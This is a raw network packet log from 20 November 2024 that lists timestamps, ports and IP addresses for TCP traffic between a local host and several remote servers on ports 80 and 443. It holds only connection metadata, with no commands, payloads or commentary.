Nov 20, 2024 18:57:46.948411942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.948453903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.948462009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.948492050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.949615955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.949629068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.949668884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.949681044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.949903965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.949951887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.950464010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.950520039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.950769901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.950839043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.950978041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.951021910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.951073885 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.951105118 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.951141119 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.951148033 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.951159954 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.951179981 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.951220989 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.951468945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.951498985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.951514959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.951534033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.951551914 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.951575041 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.952955961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.952970982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.953016996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.953120947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.953239918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.953505039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.953548908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.953963995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.954019070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.954399109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.954462051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.954782963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.954797029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.954838991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.954854965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.955558062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.955570936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.955619097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.955650091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.956406116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.956528902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.956561089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.956573009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.957187891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.957252026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.957520962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.957576990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.958038092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.958090067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.958324909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.958376884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.958878040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.958889961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.958946943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.959619999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.959635019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.959682941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.960488081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.960552931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.960706949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.960755110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.961338997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.961353064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.961401939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.962064981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.962117910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.962363005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.962532997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.962872982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.963125944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.963290930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.963345051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.963686943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.964755058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.018069983 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.018172026 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.018244982 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.024744034 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.024820089 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.025875092 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.039782047 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.039818048 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.039838076 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.039845943 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.042484045 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.042510986 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.114712000 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.114746094 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.114841938 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.115783930 CET	49869	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:47.115794897 CET	443	49869	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:47.116715908 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.116753101 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.117347956 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.139674902 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.139719963 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.139780045 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.142966986 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.142983913 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.149734974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.149758101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.149805069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.149832964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.149956942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.149971962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.150017977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.150773048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.150788069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.150819063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.150832891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.151532888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.151590109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.151782990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.151798964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.151839018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.152676105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.152740955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.153443098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.153455973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.153495073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.153522968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.153531075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.154145002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.154314995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.154335976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.154376030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.155081987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.155136108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.155169964 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.155706882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.155870914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.155913115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.156023979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.156063080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.156677961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.156725883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.156753063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.156796932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.157510042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.157710075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.158330917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.158344030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.158355951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.158373117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.158385038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.158406019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.159107924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.159158945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.159171104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.159208059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.159956932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.160000086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.160101891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.160140991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.160732031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.160860062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.160974026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.161082029 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.161515951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.161556005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.161703110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.161848068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.162333965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.162369967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.162489891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.162530899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.163145065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.163183928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.163995028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.164007902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.164021015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.164035082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.164057970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.164071083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.164869070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.164911032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.165003061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.165095091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.165652990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.165694952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.165767908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.165807962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.166465044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.166479111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.166512966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.166524887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.167289019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.167334080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.168044090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.168056965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.168068886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.168118000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.168138027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.168328047 CET	49871	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:47.168346882 CET	443	49871	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:47.168893099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.169050932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.169131994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.169174910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.169642925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.169692039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.170077085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.170126915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.170471907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.170526028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.170644045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.170689106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.171324015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.171375036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.171432018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.171469927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.172137022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.172262907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.172275066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.172343016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.172893047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.172949076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.172980070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.173047066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.173685074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.173911095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.173942089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.173942089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.174556017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.174938917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.174982071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.175326109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.175369024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.175889015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.175945997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.176412106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.176470995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.176503897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.176636934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.177062035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.177122116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.177123070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.177174091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.177809954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.177923918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.178024054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.178088903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.178623915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.178682089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.178751945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.178792000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.179436922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.179488897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.179678917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.179745913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.180454016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.180524111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.180778980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.180829048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.181593895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.181701899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.181881905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.181926012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.182569027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.182583094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.182616949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.182631969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.183377028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.183433056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.183767080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.183815956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.184127092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.184166908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.184190989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.184231997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.184683084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.184730053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.184782028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.184824944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.185414076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.185698986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.185720921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.185781002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.186052084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.186105013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.186831951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.186845064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.186887980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.186914921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.186954021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.187515974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.187587976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.187902927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.187947989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.188385963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.188441992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.188911915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.189091921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.189172029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.189184904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.189213037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.189228058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.189989090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.190045118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.190160990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.190217018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.190982103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.190994978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.191035986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.191651106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.191699982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.191729069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:47.191781998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:47.231215954 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.231292009 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.232650995 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.232745886 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.237103939 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.237126112 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.237397909 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.237438917 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.237901926 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.237914085 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.238312006 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.238428116 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.243177891 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.243213892 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.244656086 CET	49860	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.244704008 CET	443	49860	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.290808916 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.290906906 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.305874109 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.305910110 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.306180954 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.306289911 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.306864977 CET	49862	443	192.168.2.6	20.103.156.88
